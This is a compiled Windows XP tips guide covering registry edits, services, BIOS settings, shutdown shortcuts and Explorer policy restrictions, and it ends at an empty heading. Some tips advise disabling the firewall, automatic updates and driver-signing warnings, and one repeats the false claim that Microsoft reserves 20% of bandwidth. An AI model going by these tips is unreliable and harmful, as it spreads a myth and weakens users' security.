

# *XP Tips & Tricks*

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## Read before you proceed

- This is in no way an 'ultimate' resource to computer tweaking. It is just the drop in an ocean. This guide is nothing but an honest effort to assimilating knowledge on how a machine can be tamed. More can be obtained by searching the World Wide Web using 'Google' 'MSN' 'DogPile' 'Yahoo!' and other search engines.
- I do not claim any rights on the contents discussed here. Many people- hackers, crackers, administrators, computer geeks, teaching faculty, user groups- have contributed their wisdom and they wanted it to be shared and discussed. I have just 'compiled' the data into a single file that people can use it as an all purpose computer guide.
- I have personally tried and tested most of the tweaks discussed in this guide. However, I request fellow readers to be cautious while trying it out with your system. **Always** take a backup copy of all important data/registry before attempting to change the system/registry settings. Remember, prevention is always better than cure.
- Last but not the least- Learn, Share & Grow. Add your knowledge to what I have and share it unconditionally with the people who are looking for it.

Regards,

Sandeep Narayanan

# ***0. Stopping Unneeded Startup Services and Making XP boot faster !***

Along with the core operating system and programs that Windows XP runs when it starts, there is also a host of services involved. Many of these services are necessary for Windows XP to operate correctly. However, many of them are for features in Windows XP that you may not use at all. You can peruse the services and disable any service that you do not want to run. The fewer services that run, the more quickly Windows XP will boot.

To reduce the number of services that start on bootup, you can access two different areas of Windows XP.

- The first is the System Configuration Utility. You can do that by entering the command “msconfig” in the run menu.

*Start → Run → “msconfig” (without quotes) || Hit Enter*

The Services tab shows you the services that start when the computer boots. You can stop a service from starting by simply clearing the check box next to the service and clicking OK.

- However, before you do so, there is another way to disable services that you may prefer because the interface gives you more information about the service in question.

Open Control Panel → Administrative Tools → Services or

Start → Run → “services.msc” || Hit Enter

Take a quick look at common services you may want to live without:

**Automatic Updates:** This service enables Windows XP to check the Web automatically for updates. If you don't want to use Automatic Updates, you can disable the service.

**Computer Browser:** If your computer is not on a network, you don't need this service. If you are on a network, leave it alone.

DHCP Client: If you are not on a network, you do not need this service. If you are on a small workgroup, you can still increase boot time by configuring manual IP.

DNS Client: If you are not on a network, you do not need this service.

Error Reporting and Event Log: You don't have to use these services but they can be very helpful, so I would leave them configured as automatic.

Fax: If you don't use your computer for fax services, you can disable this one.

Help and Support: Disable if you never use the Windows XP Help and Support Center.

IMAPI CD-Burning COM: This service enables you to burn CDs on your computer. If you never burn CDs, you can disable the service without any second thoughts.

Indexing Service: Your computer keeps an index of all the files. But if you rarely search for files, the service is just a resource hog. You can stop it

Windows Firewall/Internet Connection Sharing: If you do not use these features, plz disable.

Infrared Monitor: If you do not use infrared devices, you can disable this service.

Messenger: This service sends alert messages on a local area network (it is not the same as Windows Messenger). If you are not on a network, you can disable this service.

Print Spooler: If you do not do any printing from the computer, you can disable this service. If you print, make sure you leave it as automatic.

Remote Registry: This service allows remote users to modify the Registry on your

computer. If you are not on a network, you can disable this service.

System Restore Service: This service allows you to use System Restore. If you have turned off System Restore anyway, you do not need to turn off the service.

Themes: If you do not use themes, you can disable this service.

Windows Image Acquisition: If you do not use scanners or digital cameras, you can disable.

Wireless Zero Configuration: If do not use wireless networking devices, you can disable.

## ***1. Disabling Unused PORTS***

I have just accidentally found out another way to give you an extra boost in windowsXP's boot performance. This is done by disabling your unused devices in Device Manager. for example, if you don't have input devices that are connected to one of your USBs or COM ports, disabling them will give you an extra performance boost in booting.

Go to Control Panel → System → Hardware tab → Device manager

Disable devices that you don't use for your PC and then restart. See the difference for yourself.

## ***Bonus Tip: Perform a Boot Defragment***

There's a simple way to speed up XP startup: make your system do a boot defragment, which will put all the boot files next to one another on your hard disk. When boot files are in close proximity to one another, your system will start faster.

On most systems, boot defragment should be enabled by default, but it might not be on yours, or it might have been changed inadvertently. To make sure that boot defragment is enabled on your system, run the Registry Editor and go to:

HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction

Edit the Enable string value to Y if it is not already set to Y. Exit the Registry and reboot. The next time you reboot, you'll do a boot defragment.

## ***2. Stop Error Messages from Displaying on Startup***

If you constantly see an error message that you can't get rid of for example, from a piece of software that didn't uninstall properly and continues to give errors on startup you can disable it from displaying on startup. Run the Registry Editor and go to HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Windows. (This key holds a variety of Windows system settings, such as the location of your system directory.) Create a new DWORD called NoPopupsOnBoot and give it a value of 1. Exit the Registry and reboot for the setting to take effect. To disable it, either delete the DWORD value or give it a value of 0.

## ***3. Memory Tweak***

1. Start Registry Editor (Regedit.exe) and locate the following key in the registry:

HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\MemoryManagement\PrefetchParameters

2. On the EnablePrefetcher value, change the setting from 3 to 5 (decimal).

3. Close the registry editor and restart your computer

## ***4. Disabling Recent Documents History***

The bad thing about Recent Documents History is that Windows XP has to calculate what should be put there each time you boot Windows, which can slow things down.

1. Open the Registry Editor (select Start/Run, type regedit, and click OK).
2. Navigate to HKEY\_CURRENT\_USER\Software\Mcft\Windows\CurrentVersion\Policies\Explorer.
3. Create a NoRecentDocsHistory D\_WORD key. Double-click the value to open it once it is created.
4. Set the Data Value to 1 to enable the restriction.
5. Click OK and close the Registry Editor. You'll need to restart the computer for the change to take effect.

## ***5. Disabling the Boot Logo***

You can remove the boot logo that appears when you start Windows XP. This little tweak probably shaves only a few seconds off your boot time but seconds count if you are serious about trying to get Windows XP up and running as quickly as possible. The only negative is that if you remove the boot logo, you will also not see any boot messages, such as check disk.

To remove the boot logo, follow these steps:

1. Select Start/Run, type msconfig, and click OK.
2. In the System Configuration Utility, click the BOOT.INI tab.
3. On the BOOT.INI tab, click the NOGUIBOOT check box option. Click OK.

## ***6. Removing Unwanted Fonts***

One trick that increases your boot time a bit is to lose any fonts in the Fonts folder in Control Panel that you never use. The more fonts you have, the more processing Windows XP has to do to prep all of those fonts for use. You must be a bit careful here to not remove fonts that you might want, but there is a good chance that you can live without many of them.

To delete unneeded fonts, follow these steps:

1. Open the Fonts folder in Control Panel.
2. Select Edit/Select All and then Edit/Copy.
3. Create a new folder on your desktop, open it, and select Edit/Paste.
4. In this new folder, delete any of the fonts you do not want.
5. Return to the Fonts folder in Control Panel. Right-click the selected fonts and click Delete.
6. Go back to your new desktop folder and click Edit/Select All.
7. Return to your Fonts folder and click Edit/Paste. You now have only the desired fonts in the Fonts folder.

## ***7. Stopping Remote Assistance and Remote Desktop Sharing***

In Windows XP Professional, you have two remote networking features called Remote Assistance and Remote Desktop Sharing. These remote networking features are very helpful in a variety of situations but if you don't use them, it is good idea to disable them to save boot time. You can always enable them later if you want to use them.

1. Open the Start menu, right-click My Computer, and choose Properties.
2. Click the remote tab.
3. Clear both check boxes to disable Remote Assistance and Remote Desktop.

## ***8. Speeding Up the Dual-Boot Timeout***

If you dual-boot your computer with Windows XP and another operating system, you see an operating system selection menu on startup. If you typically boot into Windows XP and not the other operating system, you can speed up the dual-boot timeout value so that you do not wait so long for the boot process to select your default operating system and continue with the boot process. The default timeout value is 30 seconds but you can change this setting to 10. This gives you enough time to select the alternate operating system if you want but also speeds up the boot process. You can



skip this section if you do not use a dual-boot configuration.

Follow these steps:

1. Locate the boot.ini file on your computer. It is a hidden file by default; mine is located in C:\boot.ini.
2. Open the file with Notepad (which is what opens it by default).
3. Change the Timeout value to 10.
4. Select File/Save and close Notepad.

## ***9. Speeding Up Your PPPoE Connection***

If you use a Point-to-Point Protocol connection over Ethernet (PPPoE), you may notice a delay in using the PPPoE connection after startup. By default, there is a 120 second delay but you can stop this behavior by manually configuring an IP address for the network adapter card. If you do not use a PPPoE connection, you can skip this section.

1. Select Start/Connect to/Show All Connections.
2. Open the TCP/IP properties for your LAN network interface card.
3. Manually set the IP address on the TCP/IP properties to an appropriate IP address and subnet mask for your network.

## ***10. Reducing the Wait Time***

When you start to shut down Windows XP, it has to quit, or "kill," any live applications or processes that are currently running. So close all applications first. However, some applications and processes are always running in the background. You can reduce the amount of time that Windows XP waits for those applications and processes to close before Windows XP kills them.

1. Open registry editor
2. Navigate to HKEY\_USERS\DEFAULT\Control Panel\Desktop. Set the WaitToKillAppTimeout and set the value to 1000. Select the HungAppTimeout \newline value and set it to 1000 as well.
3. Navigate to HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control. Select the WaitToKillServiceTimeout value and set it to 10000.
4. Close the Registry Editor.

## ***11. Automatically Killing Tasks on Shutdown***

You know the drill. You start to shut down the computer, you wait a few moments, and then you see a dialog box asking if you want to kill an application or service that is running. Instead of prompting you, you can make Windows XP take care of the kill task automatically. Here's how:

1. Open the Registry Editor.
2. Navigate to HKEY\_CURRENT\_USER\Control Panel\Desktop.
3. Highlight the value AutoEndTasks and change the value to 1.
4. Close the Registry Editor.

## ***12. Stop Noise***

When using 3rd party burning software (eg, Nero Burning Rom) to copy audio CD, some noise may be heard at the end of each track. To prevent this, try the following method:

1. Enter System Properties\device manager
2. Select IDE ATA/ATAPI controllers
3. Double click on the CD writer IDE channel
4. Select advance setting
5. Change the transfer mode to 'PIO Only'
6. Restart Computer

## ***13. Disable Unsigned Driver Dialogue***

First go to: Start → Run

Then type: `gpedit.msc` and hit enter. Browse the folder tree to the following location User Configuration → Administrative Templates → System. Right-click Code signing for Device drivers and select Properties. On the Settings tab, either select →enable, and then select ignore from the appearing listbox..

→ or click the disable option. Click apply and Ok and your set!

**Alternatively** especially for XP Home users:

Open "System" properties (Windows key + pause or Right click 'My Computer' - properties or Control Panel - System). On the Hardware tab click the "Driver Signing" button. In the dialogue that comes up choose "Ignore" to install the new driver anyway.

## *14. A Flying Start for the Start Menu*

A simple Registry tweak can give speed up your start menu and sub-menus. Open the Registry Editor, and navigate to and select:

*HKEY\_CURRENT\_USER\Control Panel\Desktop .*

Double-click the *MenuShowDelay* icon on the right, and change 'Value data' from its default of 400 (milliseconds) to something speedier, like **0**. When you have finished, press Enter.

## *15. Resize Your Wallpaper*

If you just switched to a wide-screen monitor, your desktop wallpaper image may no longer look right, or maybe you just want to make a small adjustment to it.

For more-granular control of your wallpaper's placement, highlight the following key:

*HKEY\_CURRENT\_USER\ControlPanel\desktop*

Double-click the *WallpaperOriginX* icon in the right pane. (If you don't see this icon, right-click in this pane, choose *New, String Value*, type **WallpaperOriginX** to name the value, and press <Enter>.) Type a number (in pixels) for the starting horizontal position of your wallpaper's left edge, and press <Enter>. Now double-click the *WallpaperOriginY* icon (create it if necessary as explained above) and enter a number

for the starting vertical position of the image's top edge. If your wallpaper image is larger than the screen, type a negative number (for example, **-200**) to push the picture's top or left edge off the screen.

To test the effect, first minimize the Registry Editor (and any other open window), right-click the desktop, choose *Properties*, and click *OK* or *Apply* to refresh the wallpaper placement. Repeat these steps as needed until the wallpaper is positioned correctly. The settings work whether you've set your wallpaper to be centered, tiled, or stretched.

## ***16. Unhide the Administrator***

Few people are aware of Windows XP's cloaked administrator account (called, appropriately enough, "Administrator"). This account is invisible unless either your system has no other accounts or you are booting in Safe Mode. To remove Administrator's camouflage and add it to XP's Welcome screen, navigate to & select *HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList* in the Registry Editor, and double-click the *Administrator* icon in the right pane. If you don't see this icon, right-click in the pane, choose *New, DWORD Value*, name it **Administrator**, and press Enter. Type **1** in the 'Value data' box, and press <Enter>. From now on, when you open the User Accounts window via the Control Panel, you'll see the Administrator account. You can easily change its picture or give it a password. In addition, the next time you see the Welcome screen, your Administrator account will be visible, along with the entire computer's other user accounts.

## ***17. Retitle Internet Explorer***

By default, Internet Explorer's title bar shows the name of the Web site you're viewing, followed by "Microsoft Internet Explorer"--or in some cases, your company's name or the name of the ISP that supplied the browser. To change the repeating text in IE's title bar (or to get rid of it altogether), navigate to and select *HKEY\_CURRENT\_USER\Software\Microsoft\Internet Explorer\Main* in the Registry Editor, and double-click the *Window Title* icon in the right pane. (If you don't see this icon, right-click in the pane, choose *New, String Value*, type **Window Title**, and press

<Enter>.) Type what you want to see on IE's title bar, or type nothing to show only the site name. Note that the hyphen that normally separates the site name from the page title will remain. When you relaunch Internet Explorer, you will see the change.

## ***Bonus Tip: Hack Your BIOS for Faster Startups***

You can speed up your startup procedures by changing the BIOS with the built-in setup utility. How you run this utility varies from PC to PC, but you typically get to it by pressing the Delete, F1, or F10 keys during startup. You'll come to a menu with a variety of choices. Here are the choices to make for faster system startups:

### *Quick Power On Self Test (POST)*

When you choose this option, your system runs an abbreviated POST rather than the normal, lengthy one.

### Boot Up Floppy Seek

Disable this option. When it's enabled, your system spends a few extra seconds looking for your floppy drive a relatively pointless procedure, especially considering how infrequently you use your floppy drive.

### *Boot Delay*

Some systems let you delay booting after you turn on your PC so that your hard drive gets a chance to start spinning before bootup. Most likely, you don't need to have this boot delay, so turn it off. If you run into problems, however, you can turn it back on.

## ***18. Find Every File***

When you search for a file in Windows Windows searches only for file types it recognizes. Files that aren't listed in the 'Registered file types' list are ignored. Fortunately, a simple edit of the Registry will make Windows search for every file, regardless of its extension. Open the Registry Editor as described above, and then navigate to and select:

*HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\ContentIndex.*

Double-click the *FilterFilesWithUnknownExtensions* icon in the right pane, change the 0 in the 'Value data' box to 1, and press Enter.

To ensure that Windows XP searches for every possible file, select *All Files and Folders* under 'Type of file' in the Search Companion pane. (If you don't see this option, click *More Advanced Options*.) Check *Search system folders*, *Search hidden files and folders*, and *Search subfolders* (as desired). In Windows 2000, click *Search Options*, check *Type*, and make sure that (*All Files and Folders*) is selected in the resulting drop-down menu. Check *Advanced Options*, and make sure *Search Subfolders* is checked. Finally, to ensure that Windows 2000 finds system and hidden files, choose *Tools, Folder Options* and click the *View* tab. In the 'Advanced settings' list, select *Show hidden files and folders*. Uncheck *Hide protected operating system files (Recommended)*, click *Yes* to acknowledge the warning, and finish by clicking *OK*.

## ***19. Rework System Restore***

The amount of space Windows uses for restore points is a little more complicated than a single percentage value. The Registry includes its own setting for the maximum disk space given to System Restore, and Windows uses whichever amount is larger: the percentage you specify via the System Properties dialog box, or the Registry's maximum value. Any disk space you free up via System Properties won't instantly be used by System Restore; it will be available until a new restore point requires more space than the amount allotted via the percentage value. The percentage and max values tell Windows only when to stop making new restore points.

To lock in your System Restore allocation, open the Registry Editor and navigate to *HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore*. Select the *SystemRestore* icon in the left pane to see several icons appear in the right pane. Do not experiment with just any of these icons! While you can safely change the value of some of them, Microsoft warns that others should not be altered under any circumstances. Fortunately, you can safely edit the values for the *DiskPercent* and *DSMax* icons, which control System Restore's disk-space allotments.

To change the maximum amount of disk space System Restore will use (providing it's larger than the percentage value), double-click the DSMax icon. In the Edit DWORD Value dialog box, click Decimal so you can see the specified number of megabytes in the 'Value data' box (the default on most systems is '400'). Change this to the desired amount, and click OK.

While you're there, you can also safely edit the DSMin value, which specifies the minimum space System Restore needs to work at all. Normally, if free space on your Windows drive gets too low, System Restore shuts down and makes no restore points until you have at least 200MB of free space. Setting this value determines the amount of disk space at which System Restore will wake up and attempt to start saving restore points again. However, just because System Restore will try to do so, it won't necessarily succeed if the available space is too small. Unfortunately, we know of no method to determine how much space a single restore point will require, so setting this amount too low could render the feature useless. Still, you can fit a lot of system files in 100MB of disk space.

To change this value, double-click the DSMin icon, click Decimal, and enter your desired amount of free disk space (in megabytes) in the 'Value data' box. Click OK.

## ***20. Pop Up a Message at Start Up***

To pop a banner which can contain any message you want to display just before a user is going to log on, go to the key:

HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System.

Now create a new string Value in the right pane named ***LegalNoticeCaption*** and enter the value that you want to see in the Menu Bar. Now create yet another new string value and name it ***LegalNoticeText***. Modify it and insert the message you want to display each time Windows boots. This can be effectively used to display the company's private policy each time the user logs on to his NT box.

## ***21.Hide All Icons in the Notification Area***

The system tray, also called the notification area, is the small area on the far right side of the taskbar, in which utilities and programs that run in the background, such as antivirus software, show their icons. I don't find it a particularly intelligent use of screen real estate, so I prefer not to see the icons there.

To hide them, run the Registry Editor and go to the following key: HKEY\_CURRENT\_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer. Among other things, this key controls the display of objects throughout XP. Create a new DWORD called NoTrayItemsDisplay. Assign it a value of 1. (A value of 0 will keep the icons displayed.) Exit the Registry and reboot.

While you're at the HKEY\_CURRENT\_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer key, you can also delete the My Recent Documents icon on the Start menu. Create a new DWORD called NoRecentDocsMenu. Assign it a value of 1. (A value of 0 will keep the icon displayed.) Exit the Registry and reboot.

## ***22. Turn Off System Beeps***

Go to HKEY\_CURRENT\_USER\Control Panel\Sound, and find the Beep and ExtendedSounds String values. Set each value to No. Exit the Registry and reboot. The beeps will no longer sound. Hey, your XP is no longer noisy!!

## ***23. Add Specific Folders to Open Dialog***

### ***Box (XP Home only)***

When you use certain Windows applications (such as Notepad) to open a file, on the left side of the Open dialog box are a group of icons and folders (such as My Documents, My Recent Documents, Desktop, My Computer, and My Network) to which you can navigate to open files. A registry hack will let you put just the folders of your choosing on the left side of the Open dialog box. Note that when you do this, it will affect XP applications such as Notepad and Paint that use the Open and Save common dialog boxes. However, it won't affect Microsoft Office applications and other applications that don't use the common dialog boxes. Run the Registry Editor



and go to HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Policies\comdlg32. This is the key that determines how common dialog boxes are handled.

You're going to create a subkey that will create a customized location for the folders, and then give that subkey a series of values, each of which will define a folder location. To start, create a new subkey underneath HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Policies\comdlg32 called Placesbar, and create a String value for it named Place0. Give Place0 a value of the topmost folder that you want to appear on the Open dialog box, for example, C:\Projects. Next, create another String value for Placesbar called Place1. Give it a value of the second folder that you want to appear on the Open dialog box. You can put up to five icons on the Open dialog box, so create new String values up to Place4 and give them values as outlined in the previous steps. When you're done, exit the Registry. You won't have to reboot for the changes to take effect. If you do not want any folders to appear in common Open dialog boxes, you can do that as well. In HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Policies\comdlg32, create a new DWORD value called *NoPlacesBar* and give it a value of 1. Exit the Registry. If you want the folders back, either delete NoPlacesBar or give it a value of 0.

## ***24. Place Windows Kernel into RAM***

It's a given that anything that runs in RAM will be faster than an item that has to access the hard drive and virtual memory. Rather than have the kernel that is the foundation of XP using the slower Paging Executive functions, use this hack to create and set the *DisablePagingExecutive* DWORD to a value of 1. **Perform this hack only if the system has 256MB or more of installed RAM!** Edit the Registry key HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\DisablePagingExecutive to 1 to disable paging and have the kernel run in RAM (set the value to 0 to undo this hack). Exit the Registry and reboot.

## ***25. Alter Prefetch Parameters***

Pre-fetching (the reading of system boot files into a cache for faster loading) is a commonly overlooked component that can have a significant impact on system boot time. To see which files are gathered using each setting, clear the prefetch cache located at C:\Windows\Prefetch and then enable one of the settings listed in this hack. Clear the cache and repeat for each setting. Set the Registry key HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters\EnablePrefetcher to 0 to disable prefetching, 1 to prefetch application launch files, 2 to prefetch boot files, or 3 to prefetch as many files as possible.

## ***26. Disable 8.3 Name Creation in NTFS***

Files that use the 8.3 naming convention can degrade NTFS drive performance. Unless you have a good reason for keeping the 8.3 naming convention intact (such as if you're using 16-bit programs), a performance gain can be achieved by disabling it. Set the Registry DWORD key HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation to 1. Exit the Registry and reboot.

## ***27. Cleaning Recent Docs Menu and the***

### ***RUN***

The Recent Docs menu can be easily disabled by editing the Registry. To do this go to the following Key: HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer. Now in the right pane, create a new DWORD value by the name: NoRecentDocsMenu and set it's value to 1. Restart Explorer to save the changes. You can also clear the RUN MRU history. All the listings are stored in the key:HKEY\_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\ Explorer \RunMRU. You can delete individual listings or the entire listing. To delete History of Find listings go to: HKEY\_CURRENT\_USER\Software\ Microsoft \ Windows \CurrentVersion\Explorer\Doc Find Spec MRUand delete.

## ***28. DMA Mode for CD-ROMs***

Like Windows 2000, Windows XP still fails to set the DMA mode correctly for the IDE device designated as the slaves on the primary IDE and secondary IDE channels. Most CD-ROMs are capable of supporting DMA mode, but the default in XP is still PIO. Setting it to DMA won't make your CD-ROM faster, but it will consume less CPU cycles. Here's how: Open the Device Manager. One way to do that is to right click on "My Computer", select the Hardware tab, and Select Device Manager. Expand "IDE ATA/ATAPI Controllers" and double-click on "Primary IDE Channel". Under the "Advanced Settings" tab, check the "Device 1" setting. More than likely, your current transfer mode is set to PIO. Set it to "DMA if available". Repeat the step for the "Secondary IDE Channel" if you have devices attached to it. Reboot.

## ***29. Speed up IE Start Up***

This tweak tells Internet Explorer to simply 'run', without loading any webpages. If you use a 'blank' page, that is still a page, and slows access. Notice the 'about:blank' in the address bar. The blank html page must still be loaded. To load IE with 'nothing' [nothing is different than blank]:

1. Right-click on any shortcut you have to IE  
[You should create a shortcut out of your desktop IE icon, and delete the original icon]
2. Click Properties
3. Add -nohome [with a space before the dash] after the endquotes in the Target field.
4. Click OK

## ***30. Delete INDEX.DAT (Faster Browsing)***

First of all open up the command prompt. For that go Start → Run → cmd. Now press CTRL + ALT + DELETE to bring up the task manager. In the task manager, go to processes and click on explorer.exe. End the "explorer.exe" task. All the windows will be closed down. Don't panic. You can still see the command prompt. In the command prompt type the following command exactly as it is:

***Del "C:\Documents and Settings\<your\_log\_in\_name>\Local Settings\Temporary Internet Files\Content.IE5\index.dat"***

Note <your\_log\_in\_name> is the name that you use to log in to your windows. Some log in as "administrator" while some with another name eg: Sandeep. Whatever it is, type that name. This will also help in fixing all the issues related to browser performance, especially the ones that cause browser to hang frequently.

### ***31. Internet Explorer As Fast As FireFox:***

Open registry editor by going to Start then Run and entering regedit. Once in registry, navigate to key HKEY\_CURRENT\_USER\Software\microsoft\Windows\ Current Version \InternetSettings. Right click on the right windows > New > DWORD. Type MaxConnectionsPerServer > You can set value (the more higher the no, the more good speed eg:99). Create another DWORD >type MaxConnectionsPer1\_0Server. Then put a high value as mentioned above. Restart I.E and you are done.

### ***32. Increasing Band-Width By 20%***

Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc. Click Start then Run and type "gpedit.msc" without quotes. This opens the group policy editor. Then go to: Local Computer Policy → Computer Configuration→ Administrative Templates→ Network →QOS Packet Scheduler and then to LimitReservableBandwidth. Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab i.e."By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default." So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.It works on Win 2000 as well.

### ***33. Disabling Drives in My Computer***

To disable the display of local or networked drives when you click My Computer go to HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion \Policies

\Explorer Now in the right pane create a new DWORD item and name it NoDrives. Now modify it's value and set it to 3FFFFFFF (Hexadecimal). Now press F5 to refresh. When you click on My Computer, no drives will be shown. To enable display of drives in My Computer, simply delete this DWORD item.

## ***34.Shutdown and Reboot in Style ☺***

Turning off or rebooting XP involves a several-step process: click the Start menu, choose Shut Down, and then select Shut Down or Restart. If you want, however, you can exit or reboot much more quickly, by creating a shortcut that enables one-click shutdowns. You can also use the shortcut to customize the shutdown or reboot for example, by displaying a specific message or automatically shutting down any programs that are running.

First, create a shortcut on your desktop by right-clicking the desktop, choosing New, and then choosing Shortcut. The Create Shortcut Wizard appears. In the box asking for the location of the shortcut, type shutdown. After you create the shortcut, double-clicking it will shut down your PC.

But you can do much more with a shutdown shortcut than merely shut down your PC. You can add any combination of several switches to do extra duty, like this:

```
shutdown -r -t 01 -c "Rebooting your PC"
```

Double-clicking that shortcut will reboot your PC after a one-second delay and display the message "Rebooting your PC." The `shutdown` command includes a variety of switches you can use to customize it.

<b>Switches you can use with shutdown</b>	
<b>Switch</b>	<b>What it does</b>
-s	Shuts down the PC.
-l	Logs off the current user.
-t <i>nn</i>	Indicates the duration of delay, in seconds, before performing the action.

Switches you can use with shutdown	
Switch	What it does
-c "message text"	Displays a message in the System Shutdown window. A maximum of 127 characters can be used. The message must be enclosed in quotation marks.
-f	Forces any running applications to shut down.
-r	Reboots the PC.

Here are the ones I use for shutdowns and restarts:

```
Shutdown -s -t 03 -c "See you later!"
shutdown -r -t 03 -c "You can't get rid of me that quickly!"
```

You always have to turn from the CPU after running this command. (Same with AT and ATX powered machines.) If you want to turn down power of ATX machine automatically, run the following command "c:\windows\system32\tsshtdn.exe 00 / POWERDOWN / DELAY:00" This is used to turn off a server. Even though you don't have networked computers attached to your computer, this works.

## ***35. Change Internet Explorer's Caption***

Open the registry editor and go to HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main. In the right pane create a new String Value names Window Title (Note the space between Window and Title). Right click on this newly created String Value and select Modify. Type in the new caption you want to be displayed. Restart for the settings to take place.

## ***36. Play around registry- More Options***

Launch Regedit and go to the following Registry Key: HKEY\_CURRENT\_USER\Software\Microsoft\CurrentVersion\Policies Under this key, there will definitely be a key named explorer. Now under this explorer key we can create new DWORD values and modify it's value to 1 in order to impose the restriction. If you want to remove the Restriction, then you can simply delete the respective DWORD values or instead change their values to 0. The following is a list of DWORD values that can be created under the Explorer Key:

NoDeletePrinter: Disables Deletion of already installed Printers

NoAddPrinter: Disables Addition of new Printers

NoRun : Disables or hides the Run Command

NoSetFolders: Removes Folders from the Settings option on Start Menu (Control Panel, Printers, Taskbar)

NoSetTaskbar: Removes Taskbar system folder from the Settings option on Start Menu

NoFind: Removes the Find Tool (Start >Find)

NoDrives: Hides and does not display any Drives in My Computer

NoNetHood: Hides or removes the Network Neighborhood icon from the desktop

NoDesktop: Hides all items including, file, folders and system folders from the Desktop

NoClose: Disables Shutdown and prevents the user from normally shutting down Windows.

NoSaveSettings: Means to say, 'Don't save settings on exit'

DisableRegistryTools: Disable Registry Editing Tools (If you disable this option, the Windows Registry Editor(regedit.exe) too will not work.)

NoRecentDocsHistory: Removes Recent Document system folder from the Start Menu (IE 4 and above)

ClearRecentDocsOnExit: Clears the Recent Documents system folder on Exit.

NoInternetIcon: Removes the Internet (system folder) icon from the Desktop

Now create a new key and name it **System**. Under this new key, system we can create the following new DWORD values

NODispCPL: Hides Control Panel

NoDispBackgroundPage: Hides Background page.

NoDispScrsavPage: Hides Screen Saver Page

NoDispAppearancePage: Hides Appearance Page

NoDispSettingsPage: Hides Settings Page

NoSecCPL: Disables Password Control Panel

NoPwdPage: Hides Password Change Page

NoAdminPage: Hides Remote Administration Page

NoProfilePage: Hides User Profiles Page

NoDevMgrPage: Hides Device Manager Page  
NoConfigPage: Hides Hardware Profiles Page  
NoFileSysPage: Hides File System Button  
NoVirtMemPage: Hides Virtual Memory Button

Similarly, if we create a new subkey named **Network**, we can add the following DWORD values under it:

NoNetSetupSecurityPage: Hides Network Security Page  
NoNetSetup: Hides or disables the Network option in the Control Panel  
NoNetSetupIDPage: Hides the Identification Page  
NoNetSetupSecurityPage: Hides the Access Control Page  
NoFileSharingControl: Disables File Sharing Controls  
NoPrintSharing: Disables Print Sharing Controls.

## ***37. Automatically Turn On Num Lock, Scroll Lock, and Caps Lock***

When you start your PC, Num Lock, Scroll Lock, and Caps Lock don't automatically toggle on. You can automatically turn each of them on or off whenever your PC starts, for all accounts on the PC. As a practical matter, most people probably want to have only Num Lock automatically turned on, but this Registry hack allows you to force any combination of keys on or off. Run the Registry Editor [Hack #83] and go to HKEY\_USERS\Default\Control Panel\Keyboard. Find the String value InitialKeyboardIndicators. By default, it is set to 0, which means that Num Lock, Scroll Lock, and Caps Lock are all turned off. Set it to any of the following values, depending on the combination of keys you want turned on or off:

0-Turns off Num Lock, Caps Lock, and Scroll Lock  
1-Turns on Caps Lock  
2-Turns on Num Lock  
3-Turns on Caps Lock and Num Lock  
4-Turns on Scroll Lock  
5-Turns on Caps Lock and Scroll Lock



6-Turns on Num Lock and Scroll Lock

7-Turns on Caps Lock, Num Lock, and Scroll Lock

Exit the Registry. When you restart, the new setting will take effect.

## ***38. Control User Logins by Hacking the Registry***

To control logon options, run the Registry Editor [Hack #83] and go to the HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon subkey, which contains a variety of logon settings (as well as some settings not having to do directly with logons). Following are the most important values you can edit to customize logons.

### *DontDisplayLastUserName*

This setting lets you control how the system logon dialog box is used. If this String value is present and set to 1, all users will have to enter both their username and password to log on. If the value is 0, the name of the last user to log on will be displayed in the system logon dialog box.

### *DefaultUserName*

This String value contains the name of the last user who logged on. It will be displayed only if the DontDisplayLastUserName value is not present or is set to 0.

*LegalNoticeCaption* and *LegalNoticeText*// Already discussed

### *PasswordExpiryWarning*

This DWORD value lets you display a warning message to users a certain number of days before their passwords are set to expire. It lets you determine how many days ahead of time the warning should be issued. To edit the value, click the decimal button and enter the number of days.

### *ShutdownWithoutLogon*

This String value enables or disables a button on the XP logon dialog box that lets the system shut down. A value of 1 enables the button (so that it is shown); a value of 0 disables the button (so that it is not shown).

### *Shell*

It determines the shellthe user interfacethat will be used by XP. The default is Explorer.exe, but it can be another shell as wellfor example, the Program Manager from older Windows versions. Type in the name of the program; for example, Progman.exe for the Program Manager, or Taskman.exe for the Task Manager.

### *AutoRestartShell*

